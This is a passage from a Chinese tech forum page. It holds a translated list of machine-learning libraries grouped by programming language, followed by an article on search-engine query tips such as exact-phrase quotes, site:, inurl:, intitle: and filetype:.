ruby-plot:将gnuplot包装为Ruby形式,特别适合将ROC曲线转化为svg文件。官网

plot-rb:基于Vega和D3的ruby绘图库。官网

scruffy:Ruby下出色的图形工具包。官网

SciRuby:官网

Glean:数据管理工具。官网

Bioruby:官网

Arel:官网

Misc 杂项

Big Data For Chimps:大数据处理严肃而有趣的指南书。官网

R

通用机器学习

Clever Algorithms For Machine Learning:官网。

Machine Learning For Hackers:官网。

Machine Learning Task View on CRAN:R语言机器学习包列表,按算法类型分组。官网。

caret:R语言150个机器学习算法的统一接口。官网

SuperLearner:该包集合了多种机器学习算法与subsemble

Introduction to Statistical Learning:官网。

数据分析/数据可视化

Learning Statistics Using R:官网

ggplot2:基于图形语法的数据可视化包。官网

Scala

自然语言处理

ScalaNLP:机器学习和数值计算库的套装。官网

Breeze:Scala用的数值处理库。官网

Chalk:自然语言处理库。官网

FACTORIE:可部署的概率建模工具包,用Scala实现的软件库为用户提供简洁的语言来创建关系因素图,评估参数并进行推断。官网。

数据分析/数据可视化

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

Scalding:CAscading的Scala接口。官网

Summing Bird:用Scalding 和 Storm进行Streaming MapReduce。官网

Algebird:Scala的抽象代数工具。官网

xerial:Scala的数据管理工具。官网

simmer:化简你的数据,进行代数聚合的unix过滤器。官网

PredictionIO:供软件开发者和数据工程师用的机器学习服务器。官网

BIDMat:支持大规模探索性数据分析的CPU和GPU加速矩阵库。官网

通用机器学习

Conjecture:Scalding下可扩展的机器学习框架。官网

brushfire:scalding下的决策树工具。官网

ganitha:基于scalding的机器学习程序库。官网

adam:使用Apache Avro, Apache Spark 和 Parquet的基因组处理引擎,有专用的文件格式,Apache 2软件许可。官网

bioscala:Scala语言可用的生物信息学程序库。官网

BIDMach:机器学习CPU和GPU加速库。官网

原文链接:http://www.kubiji.cn/topic-id2911.html 查看全部
我想很多程序员应该记得 GIThUB 上有一个 Awesome - XXX 系列的资源整理。awesome-machine-learning 就是 josephmisiti 发起维护的机器学习资源列表,内容包括了机器学习领域的框架、库以及软件(按编程语言排序)。

C++

计算机视觉

CCV:基于C语言/提供缓存/核心的机器视觉库,新颖的机器视觉库。官网

OpenCV:它提供C++、C、Python、Java 以及 MATLAB接口。并支持Windows、Linux、Android 和 Mac OS操作系统。官网

通用机器学习

MLPack:官网。

DLib:官网。

ecogg:官网。

shark:官网。

Closure

通用机器学习

Closure Toolbox:Clojure语言库与工具的分类目录。官网

Go

自然语言处理

go-porterstemmer:一个Porter词干提取算法的原生Go语言净室实现。官网

paicehusk:Paice/Husk词干提取算法的Go语言实现。官网

snowball:Go语言版的Snowball词干提取器。官网

通用机器学习

Go Learn:Go语言机器学习库。官网

go-pr:Go语言机器学习包。官网

bayesian:Go语言朴素贝叶斯分类库。官网

go-galib:Go语言遗传算法库。官网

数据分析/数据可视化

go-graph:Go语言图形库。官网

SVGo:Go语言的SVG生成库。官网

Java

自然语言处理

CoreNLP:斯坦福大学的CoreNLP提供一系列的自然语言处理工具,输入原始英语文本,可以给出单词的基本形式(下面Stanford开头的几个工具都包含其中)。官网

Stanford Parser:一个自然语言解析器。官网

Stanford POS Tagger:一个词性分类器。官网

Stanford Name Entity Recognizer:Java实现的名称识别器。官网

Stanford Word Segmenter:分词器,很多NLP工作中都要用到的标准预处理步骤。官网。

Tregex、Tsurgeon与Semgrex:用来在树状数据结构中进行模式匹配,基于树关系以及节点匹配的正则表达式(名字是“tree regular expressions"的缩写)官网

Stanford Phrasal:最新的基于统计短语的机器翻译系统,java编写。官网

Stanford Tokens Regex:用以定义文本模式的框架。官网

Stanford Temporal Tagger:SUTime是一个识别并标准化时间表达式的库。官网

Stanford SPIED:在种子集上使用模式,以迭代方式从无标签文本中学习字符实体。官网。

Stanford Topic Modeling Toolbox:为社会科学家及其他希望分析数据集的人员提供的主题建模工具。官网

Twitter Text Java:Java实现的推特文本处理库。官网

MALLET:基于Java的统计自然语言处理、文档分类、聚类、主题建模、信息提取以及其他机器学习文本应用包。官网

OpenNLP:处理自然语言文本的机器学习工具包。官网

LingPipe:使用计算机语言学处理文本的工具包。官网

通用机器学习

MLlib in Apache Spark:Spark中的分布式机器学习程序库。官网

Mahout:分布式的机器学习库。官网

Stanford Classifier:斯坦福大学的分类器。官网

Weka:Weka是数据挖掘方面的机器学习算法集。官网

ORYX:提供一个简单的大规模实时机器学习/预测分析基础架构。官网

数据分析/数据可视化

Hadoop:大数据分析平台。官网

Spark:快速通用的大规模数据处理引擎。官网

Impala:为Hadoop实现实时查询。官网

Javascript

自然语言处理

Twitter-text-js:JavaScript实现的推特文本处理库。官网

NLP.js:javascript及coffeescript编写的NLP工具。官网

natural:Node下的通用NLP工具。官网

Knwl.js:JS编写的自然语言处理器。官网

数据分析/数据可视化

D3.js:官网。

High Charts:官网。

NVD3.js:官网。

dc.js:官网。

chartjs:官网。

dimple:官网。

amCharts:官网。

通用机器学习

Convnet.js:训练深度学习模型的JavaScript库。官网

Clustering.js:用JavaScript实现的聚类算法,供Node.js及浏览器使用。官网

Decision Trees:Node.js实现的决策树,使用ID3算法。官网

Node-fann:Node.js下的快速人工神经网络库。官网

Kmeans.js:k-means算法的简单Javascript实现,供Node.js及浏览器使用。官网

LDA.js:供Node.js用的LDA主题建模工具。官网

Learning.js:逻辑回归/c4.5决策树的JavaScript实现。官网

Machine Learning:Node.js的机器学习库。官网

Node-SVM:Node.js的支持向量机。官网

Brain:JavaScript实现的神经网络。官网

Bayesian-Bandit:贝叶斯强盗算法的实现,供Node.js及浏览器使用。官网

Julia

通用机器学习

PGM:Julia实现的概率图模型框架。官网

DA:Julia实现的正则化判别分析包。官网

Regression:回归分析算法包(如线性回归和逻辑回归)。官网

Local Regression:局部回归,非常平滑!。官网

Naive Bayes:朴素贝叶斯的简单Julia实现。官网

Mixed Models:(统计)混合效应模型的Julia包。官网

Simple MCMC:Julia实现的基本mcmc采样器。官网。

Distance:Julia实现的距离评估模块。官网

Decision Tree:决策树分类器及回归分析器。官网

Neural:Julia实现的神经网络。官网

MCMC:Julia下的MCMC工具。官网

GLM:Julia写的广义线性模型包。官网

Online Learning:官网

GLMNet:GMLNet的Julia包装版,适合套索/弹性网模型。官网

Clustering:k-means, dp-means等数据聚类的基本函数。官网

SVM:Julia下的支持向量机。官网

Kernal Density:Julia下的核密度估计器。官网

Dimensionality Reduction:降维算法。官网

NMF:Julia下的非负矩阵分解包。官网

ANN:Julia实现的神经网络。官网

自然语言处理

Topic Models:Julia下的主题建模。官网

Text Analysis:Julia下的文本分析包。官网

数据分析/数据可视化

Graph Layout:纯Julia实现的图布局算法。官网

Data Frames Meta:DataFrames的元编程工具。官网

Julia Data:处理表格数据的Julia库。官网

Data Read:从Stata、SAS、SPSS读取文件。官网

Hypothesis Tests:Julia中的假设检验包。官网

Gladfly:Julia编写的灵巧的统计绘图系统。官网

Stats:Julia编写的统计测试函数包。官网

RDataSets:读取R语言中众多可用的数据集的Julia函数包。官网

DataFrames:处理表格数据的Julia库。官网

Distributions:概率分布及相关函数的Julia包。官网

Data Arrays:元素值可以为空的数据结构。官网

Time Series:Julia的时间序列数据工具包。官网

Sampling:Julia的基本采样算法包。官网

杂项/演示文稿

DSP:数字信号处理。官网

JuliaCon Presentations:Julia大会上的演示文稿。官网

SignalProcessing:Julia的信号处理工具。官网

Images:Julia的图片库。官网


Lua

通用机器学习

Torch7。

cephes:—Cephes数学函数库,包装成Torch可用形式提供并包装了超过180个特殊的数学函数,由Stephen L. Moshier开发,是SciPy的核心,应用于很多场合。官网

graph:供Torch使用的图形包。官网

randomkit:从Numpy提取的随机数生成包,包装成Torch可用形式。官网

signal:Torch-7可用的信号处理工具包,可进行FFT, DCT, Hilbert, cepstrums, stft等变换。官网

nn:Torch可用的神经网络包。官网

nngraph:为nn库提供图形计算能力。官网

nnx:一个不稳定实验性的包,扩展Torch内置的nn库。官网

optim:Torch可用的优化算法库,包括 SGD, Adagrad, 共轭梯度算法, LBFGS, RProp等算法。官网

unsup:Torch下的非监督学习包提供的模块与nn(LinearPsd、ConvPsd、AutoEncoder、...)及独立算法(k-means、PCA)等兼容。官网

manifold:操作流形的包。官网

svm:Torch的支持向量机库。官网

lbfgs:将liblbfgs包装为FFI接口。官网

vowpalwabbit:老版的vowpalwabbit对torch的接口。官网

OpenGM:OpenGM是C++编写的图形建模及推断库,该binding可以用Lua以简单的方式描述图形,然后用OpenGM优化。官网。

sphagetti:MichaelMathieu为torch7编写的稀疏线性模块。官网

LuaSHKit:将局部敏感哈希库SHKit包装成lua可用形式。官网

kernel smoothing:KNN、核权平均以及局部线性回归平滑器。官网

cutorch:torch的CUDA后端实现。官网

cunn:torch的CUDA神经网络实现。官网

imgraph:torch的图像/图形库,提供从图像创建图形、分割、建立树、又转化回图像的例程。官网

videograph:torch的视频/图形库,提供从视频创建图形、分割、建立树、又转化回视频的例程。官网

saliency:积分图像的代码和工具,用来从快速积分直方图中寻找兴趣点。官网

stitch:使用hugin拼合图像并将其生成视频序列。官网

sfm:运动场景束调整/结构包。官网

fex:torch的特征提取包,提供SIFT和dSIFT模块。官网

OverFeat:当前最高水准的通用密度特征提取器。官网

Numeric Lua:官网。

Lunatic Python:官网。

SciLua:官网。

Lua - Numerical Algorithms:官网。

Lunum:官网。

演示及脚本

Core torch7 demos repository:核心torch7演示程序库。官网

线性回归、逻辑回归

人脸检测(训练和检测是独立的演示)

基于mst的断词器

train-a-digit-classifier

train-autoencoder

optical flow demo

train-on-housenumbers

train-on-cifar

tracking with deep nets

kinect demo

滤波可视化

saliency-networks

Training a Convnet for the Galaxy-Zoo Kaggle challenge(CUDA demo):官网

Music Tagging:torch7下的音乐标签脚本。官网

torch-datasets:官网 读取几个流行的数据集的脚本,包括

BSR 500

CIFAR-10

COIL

Street View House Numbers

MNIST

NORB

Atari2600:在Arcade Learning Environment模拟器中用静态帧生成数据集的脚本。官网

Matlab

计算机视觉

Contourlets:实现轮廓波变换及其使用函数的MATLAB源代码。官网 。

Shearlets:剪切波变换的MATLAB源码。官网

Curvelets:Curvelet变换的MATLAB源码(Curvelet变换是对小波变换向更高维的推广,用来在不同尺度角度表示图像)。官网

Bandlets:Bandlets变换的MATLAB源码。官网

自然语言处理

NLP:一个Matlab的NLP库。官网

通用机器学习

Training a deep autoencoder or a classifier on MNIST digits:在MNIST字符数据集上训练一个深度的autoencoder或分类器。官网

t-Distributed Stochastic Neighbor Embedding:获奖的降维技术,特别适合于高维数据集的可视化。官网

Spider:Matlab机器学习的完整面向对象环境。官网

LibSVM:支持向量机程序库。官网

LibLinear:大型线性分类程序库。官网

Machine Learning Module:M. A .Girolami教授的机器学习课程,包括PDF、讲义及代码。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

Pattern Recognition Toolbox:Matlab中的模式识别工具包、完全面向对象。官网

数据分析/数据可视化

matlab_gbl:处理图像的Matlab包。官网

gamic:图像算法纯Matlab高效实现,对MatlabBGL的mex函数是个补充。官网


.NET

计算机视觉

OpenCVDotNet:包装器,使.NET程序能使用OpenCV代码。官网

Emgu CV:跨平台的包装器,能在Windows、Linus、Mac OS X、iOS和Android上编译。官网

自然语言处理

Stanford.NLP for .NET:斯坦福大学NLP包在.NET上的完全移植,还可作为NuGet包进行预编译。官网 。

通用机器学习

Accord.MachineLearning:随机抽样一致性算法、交叉验证、网格搜索这个包是Accord.NET框架的一部分支持向量机、决策树、朴素贝叶斯模。型、K-means、高斯混合模型和机器学习应用的通用算法。官网:

Vulpes:F#语言实现的Deep belief和深度学习包,它在Alea.cuBase下利用CUDA GPU来执行。官网

Encog:先进的神经网络和机器学习框架,包括用来创建多种网络的类,也支。持神经网络需要的数据规则化及处理的类它的训练采用多线程弹性传播。它也能使用GPU加快处理时间提供了图形化界面来帮助建模和训练神经网络。官网

Neural Network Designer:这是一个数据库管理系统和神经网络设计器设计器用WPF开发,也是一个UI,你可以设计你的神经网络、查询网络、创建并配置聊天机器人,它能问问题,并从你的反馈中学习这些机器人甚至可以从网络搜集信息用来输出,或是用来学习。官网

数据分析/数据可视化

numl:numl这个机器学习库,目标就是简化预测和聚类的标准建模技术。官网

Math.NET Numerics:Math.NET项目的数值计算基础,着眼提供科学、工程以及日常数值计算的方法和算法支持 Windows、Linux 和 。Mac上的 .Net 4.0、.Net 3.5 和 Mono ,Silverlight 5、WindowsPhone/SL 8、WindowsPhone 8.1 以及装有 PCL Portable Profiles 47 及 344的Windows 8, 装有 Xamarin的Android/iOS。官网

Sho:Sho是数据分析和科学计算的交互式环境,可以让你将脚本(IronPython语言)和编译的代码(.NET)无缝连接,以快速灵活的建立原型。官网这个环境包括强大高效的库,如线性代数、数据可视化,可供任何.NET语言使用,还为快速开发提供了功能丰富的交互式shell

Python

计算机视觉

SimpleCV:开源计算机视觉框架,可以访问如OpenCV等高性能计算机视觉库使用Python编写,可以在Mac、Windows以及Ubuntu上运行。官网。

自然语言处理

NLTK:一个领先的平台,用来编写处理人类语言数据的Python程序。官网

Pattern:Python可用的web挖掘模块,包括自然语言处理、机器学习等工具。官网

TextBlob:为普通自然语言处理任务提供一致的API,以NLTK和Pattern为基础,并和两者都能很好兼容。官网。

jieba:中文断词工具。官网

SnowNLP:中文文本处理库。官网

loso:另一个中文断词库。官网

genius:基于条件随机域的中文断词库。官网

nut:自然语言理解工具包。官网

通用机器学习

Bayesian Methods for Hackers:Python语言概率规划的电子书。官网

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

scikit-learn:基于SciPy的机器学习模块。官网

graphlab-create:包含多种机器学习模块的库(回归、聚类、推荐系统、图分析等),基于可以磁盘存储的DataFrame。官网

BigML:连接外部服务器的库。官网

pattern:Python的web挖掘模块。官网

NuPIC:Numenta公司的智能计算平台。官网

Pylearn2:基于Theano的机器学习库。官网

hebel:Python编写的使用GPU加速的深度学习库。官网

gensim:主题建模工具。官网

PyBrain:另一个机器学习库。官网

Crab:可扩展的、快速推荐引擎。官网

python-recsys:Python实现的推荐系统。官网

thinking bayes:关于贝叶斯分析的书籍。官网

Restricted Boltzmann Machines:Python实现的受限波尔兹曼机。官网

Bolt:在线学习工具箱。官网

CoverTree:cover tree的Python实现,scipy.spatial.kdtree便捷的替代。官网

nilearn:Python实现的神经影像学机器学习库。官网

Shogun:机器学习工具箱。官网

Pyevolve:遗传算法框架。官网

Caffe:考虑了代码清洁、可读性及速度的深度学习框架。官网

breze:深度及递归神经网络的程序库,基于Theano。官网

数据分析/数据可视化

SciPy:基于Python的数学、科学、工程开源软件生态系统。官网

NumPy:Python科学计算基础包。官网

Numba:Python的低级虚拟机JIT编译器,Cython and NumPy的开发者编写,供科学计算使用。官网

NetworkX:为复杂网络使用的高效软件。官网

Pandas:这个库提供了高性能、易用的数据结构及数据分析工具。官网

Open Mining:Python中的商业智能工具(Pandas web接口)。官网

PyMC:MCMC采样工具包。官网

zipline:Python的算法交易库。官网

PyDy:全名Python Dynamics,协助基于NumPy、SciPy、IPython以及 matplotlib的动态建模工作流。官网

SymPy:符号数学Python库。官网

statsmodels:Python的统计建模及计量经济学库。官网

astropy:Python天文学程序库,社区协作编写。官网

matplotlib:Python的2D绘图库。官网

bokeh:Python的交互式Web绘图库。官网

plotly:Python and matplotlib的协作web绘图库。官网

vincent:将Python数据结构转换为Vega可视化语法。官网

d3py:Python的绘图库,基于D3.js。官网

ggplot:和R语言里的ggplot2提供同样的API。官网

Kartograph.py:Python中渲染SVG图的库,效果漂亮。官网

pygal:Python下的SVG图表生成器。官网

pycascading:官网

杂项脚本/iPython笔记/代码库

pattern_classification:官网

thinking stats 2:官网

hyperopt:官网

numpic:官网

2012-paper-diginorm:官网

ipython-notebooks:官网

decision-weights:官网

Sarah Palin LDA:Sarah Palin关于主题建模的电邮。官网

Diffusion Segmentation:基于扩散方法的图像分割算法集合。官网

Scipy Tutorials:SciPy教程,已过时,请查看scipy-lecture-notes。官网

Crab:Python的推荐引擎库。官网

BayesPy:Python中的贝叶斯推断工具。官网

scikit-learn tutorials:scikit-learn学习笔记系列。官网

sentiment-analyzer:推特情绪分析器。官网

group-lasso:坐标下降算法实验,应用于(稀疏)群套索模型。官网

mne-python-notebooks:使用 mne-python进行EEG/MEG数据处理的IPython笔记。官网

pandas cookbook:使用Python pandas库的方法书。官网

climin:机器学习的优化程序库,用Python实现了梯度下降、LBFGS、rmsprop、adadelta 等算法。官网

Kaggle竞赛源代码

wiki challange:Kaggle上一个维基预测挑战赛 Dell Zhang解法的实现。官网

kaggle insults:Kaggle上”从社交媒体评论中检测辱骂“竞赛提交的代码。官网

kaggle_acquire-valued-shoppers-challenge:Kaggle预测回头客挑战赛的代码。官网

kaggle-cifar:Kaggle上CIFAR-10 竞赛的代码,使用cuda-convnet。官网

kaggle-blackbox:Kaggle上blackbox赛代码,关于深度学习。官网

kaggle-accelerometer:Kaggle上加速度计数据识别用户竞赛的代码。官网

kaggle-advertised-salaries:Kaggle上用广告预测工资竞赛的代码。官网

kaggle amazon:Kaggle上给定员工角色预测其访问需求竞赛的代码。官网

kaggle-bestbuy_big:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(大数据版)。官网

kaggle-bestbuy_small:Kaggle上根据bestbuy用户查询预测点击商品竞赛的代码(小数据版)。官网

Kaggle Dogs vs. Cats:Kaggle上从图片中识别猫和狗竞赛的代码。官网

Kaggle Galaxy Challenge:Kaggle上遥远星系形态分类竞赛的优胜代码。官网

Kaggle Gender:Kaggle竞赛,从笔迹区分性别。官网

Kaggle Merck:Kaggle上预测药物分子活性竞赛的代码(默克制药赞助)。官网

Kaggle Stackoverflow:Kaggle上 预测StackOverflow网站问题是否会被关闭竞赛的代码。官网

wine-quality:预测红酒质量。官网

Ruby

自然语言处理

Treat:文本检索与注释工具包,Ruby上我见过的最全面的工具包。官网

Ruby Linguistics:这个框架可以用任何语言为Ruby对象构建语言学工具包。括一个语言无关的通用前端,一个将语言代码映射到语言名的模块,和一个含有很有英文语言工具的模块。官网

Stemmer:使得Ruby可用 libstemmer_c中的接口。官网

Ruby Wordnet:WordNet的Ruby接口库。官网

Raspel:aspell绑定到Ruby的接口。官网

UEA Stemmer:UEALite Stemmer的Ruby移植版,供搜索和检索用的保守的词干分析器。官网

Twitter-text-rb:该程序库可以将推特中的用户名、列表和话题标签自动连接并提取出来。官网

通用机器学习

Ruby Machine Learning:Ruby实现的一些机器学习算法。官网

Machine Learning Ruby:官网

jRuby Mahout:精华!在JRuby世界中释放了Apache Mahout的威力。官网

CardMagic-Classifier:可用贝叶斯及其他分类法的通用分类器模块。官网

Neural Networks and Deep Learning:《神经网络和深度学习》一书的示例代码。官网

数据分析/数据可视化

rsruby:Ruby - R bridge。官网

data-visualization-ruby:关于数据可视化的Ruby Manor演示的源代码和支持内容。官网

ruby-plot:将gnuplot包装为Ruby形式,特别适合将ROC曲线转化为svg文件。官网

plot-rb:基于Vega和D3的ruby绘图库。官网

scruffy:Ruby下出色的图形工具包。官网

SciRuby:官网

Glean:数据管理工具。官网

Bioruby:官网

Arel:官网

Misc 杂项

Big Data For Chimps:大数据处理严肃而有趣的指南书。官网

R

通用机器学习

Clever Algorithms For Machine Learning:官网。

Machine Learning For Hackers:官网。

Machine Learning Task View on CRAN:R语言机器学习包列表,按算法类型分组。官网。

caret:R语言150个机器学习算法的统一接口。官网

SuperLearner:该包集合了多种机器学习算法与subsemble

Introduction to Statistical Learning:官网。

数据分析/数据可视化

Learning Statistics Using R:官网

ggplot2:基于图形语法的数据可视化包。官网

Scala

自然语言处理

ScalaNLP:机器学习和数值计算库的套装。官网

Breeze:Scala用的数值处理库。官网

Chalk:自然语言处理库。官网

FACTORIE:可部署的概率建模工具包,用Scala实现的软件库为用户提供简洁的语言来创建关系因素图,评估参数并进行推断。官网。

数据分析/数据可视化

MLlib in Apache Spark:Spark下的分布式机器学习库。官网

Scalding:CAscading的Scala接口。官网

Summing Bird:用Scalding 和 Storm进行Streaming MapReduce。官网

Algebird:Scala的抽象代数工具。官网

xerial:Scala的数据管理工具。官网

simmer:化简你的数据,进行代数聚合的unix过滤器。官网

PredictionIO:供软件开发者和数据工程师用的机器学习服务器。官网

BIDMat:支持大规模探索性数据分析的CPU和GPU加速矩阵库。官网

通用机器学习

Conjecture:Scalding下可扩展的机器学习框架。官网

brushfire:scalding下的决策树工具。官网

ganitha:基于scalding的机器学习程序库。官网

adam:使用Apache Avro, Apache Spark 和 Parquet的基因组处理引擎,有专用的文件格式,Apache 2软件许可。官网

bioscala:Scala语言可用的生物信息学程序库。官网

BIDMach:机器学习CPU和GPU加速库。官网

原文链接:http://www.kubiji.cn/topic-id2911.html

搜索引擎科学上网技能大放送

Nock 发表了文章 • 0 个评论 • 68 次浏览 • 2017-01-13 00:06 • 来自相关话题

在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。

常用引擎推荐

No.1 谷歌(https://google.com)




No.2 百度 (https://www.baidu.com/)




No.3 鸭鸭快跑 (https://duckduckgo.com/)




No.4 必应 (http://cn.bing.com/ )




No.5 搜狗 (https://www.sogou.com/)





排错搜索过程






1、准确搜索

最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。





2、加号

在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。





3、减号-排除关键词

如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。





4、OR或逻辑搜索

在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。





5、同义词搜索​

有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。





6、善用星号

正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:





7、在两个数值之间进行搜索

在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。





8、inurl  

该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop





9、intitle在网页标题、链接和主体中搜索关键词

有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。





10、allintitle

allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。





11、allinurl

与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 





12、site站内搜索

绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。





13、filetype

用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 





14、搜索相关网站

查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。





15、搜索技能的组合使用

你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。





其他技巧





随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/  查看全部
在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。


常用引擎推荐


No.1 谷歌https://google.com
google.png

No.2 百度https://www.baidu.com/
baidu.png

No.3 鸭鸭快跑 (https://duckduckgo.com/
duckduckgo.png

No.4 必应 (http://cn.bing.com/ )
bing.png

No.5 搜狗 (https://www.sogou.com/)
sogou.png


排错搜索过程


soerror.png


1、准确搜索


最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。
yinhao.png


2、加号


在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。
open-source-tech.png


3、减号-排除关键词


如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。
jianhao.png


4、OR或逻辑搜索


在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。
orlink.png


5、同义词搜索​


有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。
daxue.png


6、善用星号


正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:
xinhao.png


7、在两个数值之间进行搜索


在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。
kingdom.png


8、inurl  


该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop
inurl.png


9、intitle在网页标题、链接和主体中搜索关键词


有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。
intitle.png


10、allintitle


allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。
